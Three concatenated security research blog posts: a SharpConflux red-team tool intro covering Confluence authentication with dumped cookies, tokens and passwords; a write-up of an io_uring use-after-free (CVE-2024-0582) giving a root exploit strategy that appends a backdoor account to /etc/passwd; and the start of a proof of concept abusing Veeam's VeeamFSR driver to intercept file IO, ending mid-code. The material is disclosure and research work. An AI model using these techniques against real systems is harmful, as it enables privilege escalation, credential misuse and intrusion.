Atlassian offers three Confluence hosting options to fit different organisation’s requirements:

  • Confluence Cloud instances are maintained by Atlassian and hosted on their own AWS tenants. This is the preferred option for newer Atlassian clients. Confluence Cloud instances are accessed as a subdomain of atlassian.net. For instance, https://companysubdomain.atlassian.net/wiki/.
  • Confluence Server and Confluence Data Center instances are maintained by the relevant organisation and therefore, they are hosted on their servers. This can be completely on-premise, or in any cloud tenant managed by the organisation (e.g. Azure, AWS, GCP). Both instance types are similar but Data Center includes additional features. It should be noted that Atlassian has decided to discontinue Confluence Server and support ended in February 2024. However, it still has plans to support Confluence Data Center for the foreseeable future. These instance types run on TCP port 8090 by default and can typically be accessed through an internal FQDN (e.g. http://myconfluence.internal.local:8090). For the purpose of this tool, Confluence Server and Confluence Data Center are considered equivalent.

Even though a lot of organisations are migrating to Confluence Cloud, a significant proportion of them still use on-premise Confluence instances. In fact, it is not uncommon to find companies that have already made the move to Cloud but still maintain on-premise instances for specific internal projects, platforms or departments.

Certain attributes and API endpoints differ slightly between Cloud and Server / Data Center instances. More importantly, authentication methods are significantly different. SharpConflux has been developed with compatibility in mind, supporting a variety of authentication methods across the different instance types.

The most relevant authentication methods are described below.

Confluence Cloud: Email address + password authentication

Users can authenticate to Confluence Cloud instances using an email address and password combination. Upon browsing https://companysubdomain.atlassian.net/wiki/, unauthenticated users are redirected to https://id.atlassian.com/login, where the following form data is posted:

{
   "username":"EMAILVALUE",
   "password":"PASSWORDVALUE",
   "state":
   {
      "csrfToken":"CSRFTOKENVALUE",
      "anonymousId":"ANONYMOUSIDVALUE"
   },
   "token":"TOKENVALUE"
}

If the provided credentials within the username and password parameters, in addition to the csrfToken and token parameters are correct, the server will return a redirect URI. Subsequently accessing this URI will cause the server to set the cloud.session.token session cookie.

This authentication method is not supported by SharpConflux. From an adversarial perspective, firms very rarely rely on this authentication mechanism, as most will be using SAML SSO authentication for Cloud instances.

Confluence Cloud: Email address + API token

Users can create and manage their own API tokens by visiting https://id.atlassian.com/manage-profile/security/api-tokens:

In order to authenticate, the user’s email address and API token are submitted through the Authentication: Basic header in each HTTP request.

This authentication method is supported by SharpConflux. However, gathering valid API tokens is a rare occurrence.

Confluence Cloud: Third Party and SAML SSO

Confluence Cloud allows users to log in with third party (e.g. Apple, Google, Microsoft, Slack) accounts. Typically, firms will configure Confluence Cloud instances to authenticate through Active Directory Federation Services (ADFS) or Azure AD.

Once the SAML exchange is completed, the server will return a redirect URI to https://id.atlassian.com/login/authorize. Subsequently accessing this URI will cause the server to set the cloud.session.token session cookie.

As of the time of release, this authentication method is not supported by SharpConflux. Whilst this is the most commonly deployed authentication method by organisations relying on Confluence Cloud, it is also frequent for them to enforce Multi-Factor Authentication (MFA), making cookie-based authentication a much more interesting method from an adversarial perspective.

Confluence Cloud: Cookie-based Authentication

If you have managed to dump Confluence Cloud cookies (e.g. via DPAPI), you can use SharpConflux to authenticate to the target instance. Please note that including a single valid cloud.session.token or tenant.session.token cookie should be sufficient to authenticate, but you can specify any number of cookies if you prefer.

Confluence Server / Data Center: Username + password (Basic authentication)

By default, Confluence Server / Data Center installations support username + password authentication through the Authorization: Basic HTTP request header. However, Basic authentication can be disabled by the target organisation through the “Allow basic authentication on API calls” setting:

This authentication method is supported by SharpConflux. From an adversarial perspective, finding a username and password combination for an on-premise Confluence instance is one of the most common scenarios.

Confluence Server / Data Center: Username + password (via form data)

Users can visit the on-premise Confluence website (e.g. http://myconfluence.internal.local:8090) and log in using a valid username and password combination. The following HTTP POST request will be sent as a result:

POST /dologin.action HTTP/1.1
[...]

os_username=USERNAMEVALUE&os_password=PASSWORDVALUE&login=Log+in&os_destination=%2Findex.action

If the provided credentials within the os_username and os_password parameters are correct, the server will set the JSESSIONID session cookie.

This authentication method is supported by SharpConflux. Similarly to the previous method, finding a username and password combination is one of the most common scenarios. Please note that this authentication method will still work even if the “Allow basic authentication on API calls” setting is disabled.

Confluence Server / Data Center: Personal Access Token (PAT)

On Confluence Server / Data Center installations, users are allowed to create and manage their own Personal Access Tokens (PATs), which will match their current permission level. PATs can be created from /plugins/personalaccesstokens/usertokens.action:

In order to authenticate, the PAT is submitted through the Authentication: Bearer header in each HTTP request.

While this authentication method is supported by SharpConflux, it has only been added for completeness and to support edge cases, as I have never come across a PAT.

Confluence Server / Data Center: SSO

Similarly to Confluence Cloud instances, Confluence Server / Data Center variations support authentication through various Identity Providers (IdP) including ADFS, Azure AD, Bitium, Okta, OneLogin and PingIdentity. However, in this case, it is uncommon to find on-premise Confluence instances making use of SSO. For this reason, this authentication method is not supported by SharpConflux as of the time of release.

Confluence Server / Data Center: Cookie-based authentication

If you have managed to dump Confluence Server / Data Center cookies (e.g. via DPAPI), you can use SharpConflux to authenticate to the target instance. Please note that including a single valid JSESSIONID or seraph.confluence cookie should be sufficient to authenticate, but you can specify any number of cookies if you prefer.

Summary

Confluence is the most widely used corporate wiki platform, often storing sensitive data that can largely facilitate privilege escalation and lateral movement activities. Whilst this blog post has not uncovered any new attack techniques, release of SharpConflux aims to help Red Team operators by providing an easy way to interact with all types of Confluence instances.

SharpConflux has been tested against the latest supported versions as of the time of development (Cloud 8.3.2, Data Center 7.19.10 LTS and Data Center 8.3.2). A complete list of features, usage guidelines and examples can be found in the referenced GitHub project.

github GitHub: https://github.com/nettitude/SharpConflux/

 

The post Introducing SharpConflux appeared first on LRQA Nettitude Labs.

Mind the Patch Gap: Exploiting an io_uring Vulnerability in Ubuntu

By Oriol Castejón

Overview

This post discusses a use-after-free vulnerability, CVE-2024-0582, in io_uring in the Linux kernel. Despite the vulnerability being patched in the stable kernel in December 2023, it wasn’t ported to Ubuntu kernels for over two months, making it an easy 0day vector in Ubuntu during that time.

In early January 2024, a Project Zero issue for a recently fixed io_uring use-after-free (UAF) vulnerability (CVE-2024-0582) was made public. It was apparent that the vulnerability allowed an attacker to obtain read and write access to a number of previously freed pages. This seemed to be a very powerful primitive: usually a UAF gets you access to a freed kernel object, not a whole page – or even better, multiple pages. As the Project Zero issue also described, it was clear that this vulnerability should be easily exploitable: if an attacker has total access to free pages, once these pages are returned to a slab cache to be reused, they will be able to modify any contents of any object allocated within these pages. In the more common situation, the attacker can modify only a certain type of object, and possibly only at certain offsets or with certain values.

Moreover, this fact also suggests that a data-only exploit should be possible. In general terms, such an exploit does not rely on modifying the code execution flow, by building for instance a ROP chain or using similar techniques. Instead, it focuses on modifying certain data that ultimately grants the attacker root privileges, such as making read-only files writable by the attacker. This approach makes exploitation more reliable, stable, and allows bypassing some exploit mitigations such as Control-Flow Integrity (CFI), as the instructions executed by the kernel are not altered in any way.

Finally, according to the Project Zero issue, this vulnerability was present in the Linux kernel from versions starting at 6.4 and prior to 6.7. At that moment, Ubuntu 23.10 was running a vulnerable verison of 6.5 (and somewhat later so was Ubuntu 22.04 LTS), so it was a good opportunity to exploit the patch gap, understand how easy it would be for an attacker to do that, and how long they might possess an 0day exploit based on an Nday.

More precisely:

This post describes the data-only exploit strategy that we implemented, allowing a non-privileged user (and without the need of unprivileged user namespaces) to achieve root privileges on affected systems. First, a general overview of the io_uring interface is given, as well as some more specific details of the interface relevant to this vulnerability. Next, an analysis of the vulnerability is provided. Finally, a strategy for a data-only exploit is presented.

Preliminaries

The io_uring interface is an asynchronous I/O API for Linux created by Jens Axboe and introduced in the Linux kernel version 5.1. Its goal is to improve performance of applications with a high number of I/O operations. It provides interfaces similar to functions like read()  and write(), for example, but requests are satisfied in an asynchronous manner to avoid the context switching overhead caused by blocking system calls.

The io_uring interface has been a bountiful target for a lot of vulnerability research; it was disabled in ChromeOS, production Google servers, and restricted in Android. As such, there are many blog posts that explain it with a lot of detail. Some relevant references are the following:

In the next subsections we give an overview of the io_uring interface. We pay special attention to the Provided Buffer Ring functionality, which is relevant to the vulnerability discussed in this post. The reader can also check “What is io_uring?”, as well as the above references for alternative overviews of this subsystem.

The io_uring Interface

The basis of io_uring is a set of two ring buffers used for communication between user and kernel space. These are:

  • The submission queue (SQ), which contains submission queue entries (SQEs) describing a request for an I/O operation, such as reading or writing to a file, etc.
  • The completion queue (CQ), which contains completion queue entries (CQEs) that correspond to SQEs that have been processed and completed.

This model allows executing a number of I/O requests to be performed asynchronously using a single system call, while in a synchronous manner each request would have typically corresponded to a single system call. This reduces the overhead caused by blocking system calls, thus improving performance. Moreover, the use of shared buffers also reduces the overhead as no data between user and kernelspace has to be transferred.

The io_uring API consists of three system calls:

  • io_uring_setup()
  • io_uring_register()
  • io_uring_enter()

The io_uring_setup() System Call

The io_uring_setup() system call sets up a context for an io_uring instance, that is, a submission and a completion queue with the indicated number of entries each one. Its prototype is the following:

				
					int io_uring_setup(u32 entries, struct io_uring_params *p);
				
			

Its arguments are:

  • entries: It determines how many elements the SQ and CQ must have at the minimum.
  • params: It can be used by the application to pass options to the kernel, and by the kernel to pass information to the application about the ring buffers.

On success, the return value of this system call is a file descriptor that can be later used to perform operation on the io_uring instance.

The io_uring_register() System Call

The io_uring_register() system call allows registering resources, such as user buffers, files, etc., for use in an io_uring instance. Registering such resources makes the kernel map them, avoiding future copies to and from userspace, thus improving performance. Its prototype is the following:

				
					int io_uring_register(unsigned int fd, unsigned int opcode, void *arg, unsigned int nr_args);
				
			

Its arguments are:

  • fd: The file io_uring file descriptor returned by the io_uring_setup() system call.
  • opcode: The specific operation to be executed. It can have certain values such as IORING_REGISTER_BUFFERS, to register user buffers, or IORING_UNREGISTER_BUFFERS, to release the previously registered buffers.
  • arg: Arguments passed to the operation being executed. Their type depends on the specific opcode being passed.
  • nr_args: Number of arguments in arg being passed.

On success, the return value of this system call is either zero or a positive value, depending on the opcode used.

Provided Buffer Rings

An application might need to have different types of registered buffers for different I/O requests. Since kernel version 5.7, to facilitate managing these different sets of buffers, io_uring allows the application to register a pool of buffers that are identified by a group ID. This is done using the IORING_REGISTER_PBUF_RING opcode in the io_uring_register() system call.

More precisely, the application starts by allocating a set of buffers that it wants to register. Then, it makes the io_uring_register() system call with opcode IORING_REGISTER_PBUF_RING, specifying a group ID with which these buffers should be associated, a start address of the buffers, the length of each buffer, the number of buffers, and a starting buffer ID. This can be done for multiple sets of buffers, each one having a different group ID.

Finally, when submitting a request, the application can use the IOSQE_BUFFER_SELECT flag and provide the desired group ID to indicate that a provided buffer ring from the corresponding set should be used. When the operation has been completed, the buffer ID of the buffer used for the operation is passed to the application via the corresponding CQE.

Provided buffer rings can be unregistered via the io_uring_register() system call using the IORING_UNREGISTER_PBUF_RING opcode.

User-mapped Provided Buffer Rings

In addition to the buffers allocated by the application, since kernel version 6.4, io_uring allows a user to delegate the allocation of provided buffer rings to the kernel. This is done using the IOU_PBUF_RING_MMAP flag passed as an argument to io_uring_register(). In this case, the application does not need to previously allocate these buffers, and therefore the start address of the buffers does not have to be passed to the system call. Then, after io_uring_register() returns, the application can mmap() the buffers into userspace with the offset set as:

				
					IORING_OFF_PBUF_RING | (bgid >> IORING_OFF_PBUF_SHIFT)
				
			

where bgid is the corresponding group ID. These offsets, as well as others used to mmap() the io_uring data, are defined in include/uapi/linux/io_uring.h:

				
					/*
 * Magic offsets for the application to mmap the data it needs
 */
#define IORING_OFF_SQ_RING			0ULL
#define IORING_OFF_CQ_RING			0x8000000ULL
#define IORING_OFF_SQES				0x10000000ULL
#define IORING_OFF_PBUF_RING		0x80000000ULL
#define IORING_OFF_PBUF_SHIFT		16
#define IORING_OFF_MMAP_MASK		0xf8000000ULL
				
			

The function that handles such an mmap() call is io_uring_mmap():

				
					// Source: https://elixir.bootlin.com/linux/v6.5.3/source/io_uring/io_uring.c#L3439

static __cold int io_uring_mmap(struct file *file, struct vm_area_struct *vma)
{
	size_t sz = vma->vm_end - vma->vm_start;
	unsigned long pfn;
	void *ptr;

	ptr = io_uring_validate_mmap_request(file, vma->vm_pgoff, sz);
	if (IS_ERR(ptr))
		return PTR_ERR(ptr);

	pfn = virt_to_phys(ptr) >> PAGE_SHIFT;
	return remap_pfn_range(vma, vma->vm_start, pfn, sz, vma->vm_page_prot);
}
				
			

Note that remap_pfn_range() ultimately creates a mapping with the VM_PFNMAP flag set, which means that the MM subsystem will treat the base pages as raw page frame number mappings wihout an associated page structure. In particular, the core kernel will not keep reference counts of these pages, and keeping track of it is the responsability of the calling code (in this case, the io_uring subsystem).

The io_uring_enter() System Call

The io_uring_enter() system call is used to initiate and complete I/O using the SQ and CQ that have been previously set up via the io_uring_setup() system call. Its prototype is the following:

				
					int io_uring_enter(unsigned int fd, unsigned int to_submit, unsigned int min_complete, unsigned int flags, sigset_t *sig);
				
			

Its arguments are:

  • fd: The io_uring file descriptor returned by the io_uring_setup() system call.
  • to_submit: Specifies the number of I/Os to submit from the SQ.
  • flags: A bitmask value that allows specifying certain options, such as IORING_ENTER_GETEVENTS, IORING_ENTER_SQ_WAKEUP, IORING_ENTER_SQ_WAIT, etc.
  • sig: A pointer to a signal mask. If it is not NULL, the system call replaces the current signal mask by the one pointed to by sig, and when events become available in the CQ restores the original signal mask.

Vulnerability

The vulnerability can be triggered when an application registers a provided buffer ring with the IOU_PBUF_RING_MMAP flag. In this case, the kernel allocates the memory for the provided buffer ring, instead of it being done by the application. To access the buffers, the application has to mmap() them to get a virtual mapping. If the application later unregisters the provided buffer ring using the IORING_UNREGISTER_PBUF_RING opcode, the kernel frees this memory and returns it to the page allocator. However, it does not have any mechanism to check whether the memory has been previously unmapped in userspace. If this has not been done, the application has a valid memory mapping to freed pages that can be reallocated by the kernel for other purposes. From this point, reading or writing to these pages will trigger a use-after-free.

The following code blocks show the affected parts of functions relevant to this vulnerability. Code snippets are demarcated by reference markers denoted by [N]. Lines not relevant to this vulnerability are replaced by a [Truncated] marker. The code corresponds to the Linux kernel version 6.5.3, which corresponds to the version used in the Ubuntu kernel 6.5.0-15-generic.

Registering User-mapped Provided Buffer Rings

The handler of the IORING_REGISTER_PBUF_RING opcode for the io_uring_register() system call is the io_register_pbuf_ring() function, shown in the next listing.

				
					// Source: https://elixir.bootlin.com/linux/v6.5.3/source/io_uring/kbuf.c#L537

int io_register_pbuf_ring(struct io_ring_ctx *ctx, void __user *arg)
{
	struct io_uring_buf_reg reg;
	struct io_buffer_list *bl, *free_bl = NULL;
	int ret;

[1]

	if (copy_from_user(&reg, arg, sizeof(reg)))
		return -EFAULT;

[Truncated]

	if (!is_power_of_2(reg.ring_entries))
		return -EINVAL;

[2]

	/* cannot disambiguate full vs empty due to head/tail size */
	if (reg.ring_entries >= 65536)
		return -EINVAL;

	if (unlikely(reg.bgid io_bl)) {
		int ret = io_init_bl_list(ctx);
		if (ret)
			return ret;
	}

	bl = io_buffer_get_list(ctx, reg.bgid);
	if (bl) {
		/* if mapped buffer ring OR classic exists, don't allow */
		if (bl->is_mapped || !list_empty(&bl->buf_list))
			return -EEXIST;
	} else {

[3]

		free_bl = bl = kzalloc(sizeof(*bl), GFP_KERNEL);
		if (!bl)
			return -ENOMEM;
	}

[4]

	if (!(reg.flags & IOU_PBUF_RING_MMAP))
		ret = io_pin_pbuf_ring(&reg, bl);
	else
		ret = io_alloc_pbuf_ring(&reg, bl);

[Truncated]

	return ret;
}
				
			

The function starts by copying the provided arguments into an io_uring_buf_reg structure reg [1]. Then, it checks that the desired number of entries is a power of two and is strictly less than 65536 [2]. Note that this implies that the maximum number of allowed entries is 32768.

Next, it checks whether a provided buffer list with the specified group ID reg.bgid exists and, in case it does not, an io_buffer_list structure is allocated and its address is stored in the variable bl [3]. Finally, if the provided arguments have the flag IOU_PBUF_RING_MMAP set, the io_alloc_pbuf_ring() function is called [4], passing in the address of the structure reg, which contains the arguments passed to the system call, and the pointer to the allocated buffer list structure bl.

				
					// Source: https://elixir.bootlin.com/linux/v6.5.3/source/io_uring/kbuf.c#L519

static int io_alloc_pbuf_ring(struct io_uring_buf_reg *reg,
			      struct io_buffer_list *bl)
{
	gfp_t gfp = GFP_KERNEL_ACCOUNT | __GFP_ZERO | __GFP_NOWARN | __GFP_COMP;
	size_t ring_size;
	void *ptr;

[5]

	ring_size = reg->ring_entries * sizeof(struct io_uring_buf_ring);

[6]

	ptr = (void *) __get_free_pages(gfp, get_order(ring_size));
	if (!ptr)
		return -ENOMEM;

[7]

	bl->buf_ring = ptr;
	bl->is_mapped = 1;
	bl->is_mmap = 1;
	return 0;
}
				
			

The io_alloc_pbuf_ring() function takes the number of ring entries specified in reg->ring_entries and computes the resulting size ring_size by multiplying it by the size of the io_uring_buf_ring structure [5], which is 16 bytes. Then, it requests a number of pages from the page allocator that can fit this size via a call to __get_free_pages() [6]. Note that for the maximum number of allowed ring entries, 32768, ring_size is 524288 and thus the maximum number of 4096-byte pages that can be retrieved is 128. The address of the first page is then stored in the io_buffer_list structure, more precisely in bl->buf_ring [7]. Also, bl->is_mapped and bl->is_mmap are set to 1.

Unregistering Provided Buffer Rings

The handler of the IORING_UNREGISTER_PBUF_RING opcode for the io_uring_register() system call is the io_unregister_pbuf_ring() function, shown in the next listing.

				
					// Source: https://elixir.bootlin.com/linux/v6.5.3/source/io_uring/kbuf.c#L601

int io_unregister_pbuf_ring(struct io_ring_ctx *ctx, void __user *arg)
{
	struct io_uring_buf_reg reg;
	struct io_buffer_list *bl;

[8]

    if (copy_from_user(&reg, arg, sizeof(reg)))
		return -EFAULT;
	if (reg.resv[0] || reg.resv[1] || reg.resv[2])
		return -EINVAL;
	if (reg.flags)
		return -EINVAL;

[9]

	bl = io_buffer_get_list(ctx, reg.bgid);
	if (!bl)
		return -ENOENT;
	if (!bl->is_mapped)
		return -EINVAL;

[10]

	__io_remove_buffers(ctx, bl, -1U);
	if (bl->bgid >= BGID_ARRAY) {
		xa_erase(&ctx->io_bl_xa, bl->bgid);
		kfree(bl);
	}
	return 0;
}
				
			

Again, the function starts by copying the provided arguments into a io_uring_buf_reg structure reg [8]. Then, it retrieves the provided buffer list corresponding to the group ID specified in reg.bgid and stores its address in the variable bl [9]. Finally, it passes bl to the function __io_remove_buffers() [10].

				
					// Source: https://elixir.bootlin.com/linux/v6.5.3/source/io_uring/kbuf.c#L209

static int __io_remove_buffers(struct io_ring_ctx *ctx,
			       struct io_buffer_list *bl, unsigned nbufs)
{
	unsigned i = 0;

	/* shouldn't happen */
	if (!nbufs)
		return 0;

	if (bl->is_mapped) {
		i = bl->buf_ring->tail - bl->head;
		if (bl->is_mmap) {
			struct page *page;

[11]

			page = virt_to_head_page(bl->buf_ring);
            
[12]

			if (put_page_testzero(page))
				free_compound_page(page);
			bl->buf_ring = NULL;
			bl->is_mmap = 0;
		} else if (bl->buf_nr_pages) {

[Truncated]
				
			

In case the buffer list structure has the is_mapped and is_mmap flags set, which is the case when the buffer ring was registered with the IOU_PBUF_RING_MMAP flag [7], the function reaches [11]. Then, the page structure of the head page corresponding to the virtual address of the buffer ring bl->buf_ring is obtained. Finally, all the pages forming the compound page with head page are freed at [12], thus returning them to the page allocator.

Note that if the provided buffer ring is set up with IOU_PBUF_RING_MMAP, that is, it has been allocated by the kernel and not the application, the userspace application is expected to have previously mmap()ed this memory. Moreover, recall that since the memory mapping was created with the VM_PFNMAP flag, the reference count of the page structure was not modified during this operation. In other words, in the code above there is no way for the kernel to know whether the application has unmapped the memory before freeing it via the call to free_compound_page(). If this has not happened, a use-after-free can be triggered by the application by just reading or writing to this memory.

Exploitation

The exploitation mechanism presented in this post relies on how memory allocation works on Linux, so the reader is expected to have some familiarity with it. As a refresher, we highlight the following facts:

  • The page allocator is in charge of managing memory pages, which are usually 4096 bytes. It keeps lists of free pages of order n, that is, memory chunks of page size multiplied by 2^n. These pages are served in a first-in-first-out basis.
  • The slab allocator sits on top of the buddy allocator and keeps caches of commonly used objects (dedicated caches) or fixed-size objects (generic caches), called slab caches, available for allocation in the kernel. There are several implementations of slab allocators, but for the purpose of this post only the SLUB allocator, the default in modern versions of the kernel, is relevant.
  • Slab caches are formed by multiple slabs, which are sets of one or more contiguous pages of memory. When a slab cache runs out of free slabs, which can happen if a large number of objects of the same type or size are allocated and not freed during a period of time, the operating system allocates a new slab by requesting free pages to the page allocator.

One of such cache slabs is the filp, which contains file structures. A filestructure, shown in the next listing, represents an open file.

				
					// Source: https://elixir.bootlin.com/linux/v6.5.3/source/include/linux/fs.h#L961

struct file {
	union {
		struct llist_node	f_llist;
		struct rcu_head 	f_rcuhead;
		unsigned int 		f_iocb_flags;
	};

	/*
	 * Protects f_ep, f_flags.
	 * Must not be taken from IRQ context.
	 */
	spinlock_t		f_lock;
	fmode_t			f_mode;
	atomic_long_t		f_count;
	struct mutex		f_pos_lock;
	loff_t			f_pos;
	unsigned int		f_flags;
	struct fown_struct	f_owner;
	const struct cred	*f_cred;
	struct file_ra_state	f_ra;
	struct path		f_path;
	struct inode		*f_inode;	/* cached value */
	const struct file_operations	*f_op;

	u64			f_version;
#ifdef CONFIG_SECURITY
	void			*f_security;
#endif
	/* needed for tty driver, and maybe others */
	void			*private_data;

#ifdef CONFIG_EPOLL
	/* Used by fs/eventpoll.c to link all the hooks to this file */
	struct hlist_head	*f_ep;
#endif /* #ifdef CONFIG_EPOLL */
	struct address_space	*f_mapping;
	errseq_t		f_wb_err;
	errseq_t		f_sb_err; /* for syncfs */
} __randomize_layout
  __attribute__((aligned(4)));	/* lest something weird decides that 2 is OK */
				
			

The most relevant fields for this exploit are the following:

  • f_mode: Determines whether the file is readable or writable.
  • f_pos: Determines the current reading or writing position.
  • f_op: The operations associated with the file. It determines the functions to be executed when certain system calls such as read(), write(), etc., are issued on the file. For files in ext4 filesystems, this is equal to the ext4_file_operations variable.

Strategy for a Data-Only Exploit

The exploit primitive provides an attacker with read and write access to a certain number of free pages that have been returned to the page allocator. By opening a file a large number of times, the attacker can force the exhaustion of all the slabs in the filp cache, so that free pages are requested to the page allocator to create a new slab in this cache. In this case, further allocations of file structures will happen in the pages on which the attacker has read and write access, thus being able to modify them. In particular, for example, by modifying the f_mode field, the attacker can make a file that has been opened with read-only permissions to be writable.

This strategy was implemented to successfully exploit the following versions of Ubuntu:

  • Ubuntu 22.04 Jammy Jellyfish LTS with kernel 6.5.0-15-generic.
  • Ubuntu 22.04 Jammy Jellyfish LTS with kernel 6.5.0-17-generic.
  • Ubuntu 23.10 Mantic Minotaur with kernel 6.5.0-15-generic.
  • Ubuntu 23.10 Mantic Minotaur with kernel 6.5.0-17-generic.

The next subsections give more details on how this strategy can be carried out.

Triggering the Vulnerability

The strategy begins by triggering the vulnerability to obtain read and write access to freed pages. This can be done by executing the following steps:

  • Making an io_uring_setup() system call to set up the io_uring instance.
  • Making an io_uring_register() system call with opcode IORING_REGISTER_PBUF_RING and the IOU_PBUF_RING_MMAP flag, so that the kernel itself allocates the memory for the provided buffer ring.
Registering a provided buffer ring
  • mmap()ing the memory of the provided buffer ring with read and write permissions, using the io_uring file descriptor and the offset IORING_OFF_PBUF_RING.
MMap the buffer ring
  • Unregistering the provided buffer ring by making an io_uring_register()system call with opcode IORING_UNREGISTER_PBUF_RING
Unregistering the buffer ring

At this point, the pages corresponding to the provided buffer ring have been returned to the page allocator, while the attacker still has a valid reference to them.

Spraying File Structures

The next step is spawning a large number of child processes, each one opening the file /etc/passwd many times with read-only permissions. This forces the allocation of corresponding file structures in the kernel.

Spraying file structures

By opening a large number of files, the attacker can force the exhaustion of the slabs in the filp cache. After that, new slabs will be allocated by requesting free pages from the page allocator. At some point, the pages that previously corresponded to the provided buffer ring, and to which the attacker still has read and write access, will be returned by the page allocator.

Requesting free pages from the page allocator

Hence, all of the file structures created after this point will be allocated in the attacker-controlled memory region, giving them the possibility to modify the structures.

Allocating file structures within a controlled page

Note that these child processes have to wait until indicated to proceed in the last stage of the exploit, so that the files are kept open and their corresponding structures are not freed.

Locating a File Structure in Memory

Although the attacker may have access to some slabs belonging to the filp cache, they don’t know where they are within the memory region. To identify these slabs, however, the attacker can search for the ext4_file_operations address at the offset of the file.f_op field within the file structure. When one is found, it can be safely assumed that it corresponds to the file structure of one instance of the previously opened /etc/passwd file.

Note that even when Kernel Address Space Layout Randomization (KASLR) is enabled, to identify the ext4_file_operations address in memory it is only necessary to know the offset of this symbol with respect to the _text symbol, so there is no need for a KASLR bypass. Indeed, given a value val of an unsigned integer found in memory at the corresponding offset, one can safely assume that it is the address of ext4_file_operations if:

  • (val >> 32 & 0xffffffff) == 0xffffffff, i.e. the 32 most significant bits are all 1.
  • (val & 0xfffff) == (ext4_fops_offset & 0xfffff), i.e. the 20 least significant bits of val and ext4_fops_offset, the offset of ext4_file_operations with respect to _text, are the same.

Changing File Permissions and Adding a Backdoor Account

Once a file structure corresponding to the /etc/passwd file is located in the memory region accessible by the attacker, it can be modified at will. In particular, setting the FMODE_WRITE and FMODE_CAN_WRITE flags in the file.f_mode field of the found structure will make the /etc/passwd file writable when using the corresponding file descriptor.

Moreover, setting the file.f_pos field of the found file structure to the current size of the /etc/passwd/ file, the attacker can ensure that any data written to it is appended at the end of the file.

To finish, the attacker can signal all the child processes spawned in the second stage to try to write to the opened /etc/passwd file. While most of all of such attempts will fail, as the file was opened with read-only permissions, the one corresponding to the modified file structure, which has write permissions enabled due to the modification of the file->f_mode field, will succeed.

Conclusion

To sum up, in this post we described a use-after-free vulnerability that was recently disclosed in the io_uring subsystem of the Linux kernel, and a data-only exploit strategy was presented. This strategy proved to be realitvely simple to implement. During our tests it proved to be very reliable and, when it failed, it did not affect the stability of the system. This strategy allowed us to exploit up-to-date versions of Ubuntu during the patch gap window of about two months.

About Exodus Intelligence

Our world class team of vulnerability researchers discover hundreds of exclusive Zero-Day vulnerabilities, providing our clients with proprietary knowledge before the adversaries find them. We also conduct N-Day research, where we select critical N-Day vulnerabilities and complete research to prove whether these vulnerabilities are truly exploitable in the wild.

For more information on our products and how we can help your vulnerability efforts, visit www.exodusintel.com or contact [email protected] for further discussion.

The post Mind the Patch Gap: Exploiting an io_uring Vulnerability in Ubuntu appeared first on Exodus Intelligence.

Veeamon

Veeam ships a signed file system filter with no ACL on its control device object. The driver allows to control all IO operations on any file in the specified folder. By abusing the driver, an attacker can sniff and fake reads, writes, and other IO operations on any file in the file system regardless of its permissions.

Some time ago, I stumbled upon the Veeam backup solution. Among other files, the installer drops VeeamFSR.sys: a file system filter driver signed by Veeam. A quick overview in IDA showed no DACL on the device object, hence full access to Everyone. So, I decided to take a deeper look. VeeamFSR exposes a set of IoCtls that allow any user-mode application to control all IO operations on the specified folder and its child objects. Once the app specifies the folder to monitor, the driver will pend all IO related to the folder and its children and notify the app about the IO. The app, in turn, can pass the IO, fail it, get the data of the IO, or even fake it. I wrote a small PoC that shows how to manipulate VeeamFSR for fun and profit.

[Setting things up]

First of all, we have to open the control device and tell the driver which folder we want to monitor. CtlCreateMonitoredFolder is a wrapper over the IOCTL_START_FOLDER_MONITORING IoCtl. This IoCtl receives the following struct as an input parameter:

struct MonitoredFolder
{
    HANDLE SharedBufSemaphore;
    DWORD d1;
    HANDLE NewEntrySemaphore;
    DWORD d2;
    DWORD f1;  //+0x10
    DWORD SharedBufferEntriesCount; //+0x14
    DWORD PathLength; //+0x18
    WCHAR PathName[0x80]; //+0x1C
};

and outputs:

struct SharedBufferDescriptor
{
    DWORD FolderIndex;
    DWORD SharedBufferLength;
    DWORD SharedBufferPtr;
    DWORD Unk;
};

Once the call to DeviceControl succeeds, VeeamFSR will wait for all calls to (Nt)CreateFile that contain the monitored folder in the pathname. All such calls will end up in a non-alertable kernel mode sleep in KeWaitForSingleObject. ExplorerWait.png The second important thing is to unwait these calls with the IOCTL_UNWAIT_REQUEST IoCtl. Failing to do so leads to application hangs. By the way, passing UnwaitDescriptor::UserBuffer to the IoCtl causes a double free in the driver, so if you want to kaboom the OS, this is the way to do it. (See CtlUnwaitRequest for details)

Internally, VeeamFSR creates and maintains lists of objects that represent monitored folders, opened streams, and a few other object types, quite similar to what the Windows object manager subsystem does. Every object has a header that contains a reference counter, a pointer to the object methods, etc. The constructor of the MonitoredFolder object, among other things, creates a shared kernel-user buffer in the context of the controller app. Contiguous.png Funny, for some reason Veeam developers think that only a contiguous buffer can be mapped to user-mode memory.

The app receives the pointer to the buffer in the SharedBufferDescriptor::SharedBufferPtr field, which is an output parameter of the IOCTL_START_FOLDER_MONITORING IoCtl. VeeamFSR writes the parameters of IO to the buffer and notifies the app about the new entry by releasing the MonitoredFolder::NewEntrySemaphore semaphore. The controller app might manipulate the IO data in the shared buffer before unwaiting the IO request. Every entry in the buffer consists of a predefined header that identifies the IO and a body which is operation dependent:

struct CtrlBlock
{
    BYTE ProcessIndex;
    BYTE FolderIndex;
    WORD FileIndex : 10;
    WORD MajorFunction : 6;
};

struct SharedBufferEntry
{
    //header
    DWORD Flags;
    union
    {
        CtrlBlock Ctrl;
        DWORD d1;
    };

    //body
    DWORD d2;
    DWORD d3;

    DWORD d4;
    DWORD d5;
    DWORD d6;
    DWORD d7;
};

Now we have everything we need to build a basic IO pump that enables monitoring for the ‘c:\tmp’ folder, logs open calls to the console, and unwaits them. Throughout the post, I will extend the snippet by adding features such as IO monitoring, failing, and faking. See the full code on GitHub.

int wmain(int arc, wchar_t** argv)
{
    if (arc != 2)
    {
        printf("Usage: veeamon NativePathToFolder\n");
        return -1;
    }

    HANDLE hDevice = CreateFileW(L"\\\\.\\VeeamFSR", GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, 0, OPEN_EXISTING, 0, 0);
    if (hDevice == INVALID_HANDLE_VALUE)
    {
        printf("CreateFileW: %d\n", GetLastError());
        return -1;
    }

    HANDLE SharedBufSemaphore;
    HANDLE NewEntrySemaphore;
    WORD CurrEntry = 0;

    PCWCHAR Folder = argv[1];
    if (CtlCreateMonitoredFolder(
        hDevice,
        Folder,
        &SharedBufSemaphore,
        &NewEntrySemaphore) == FALSE)
    {
        printf("Failed setting up monitored folder\n");
        return -1;
    }

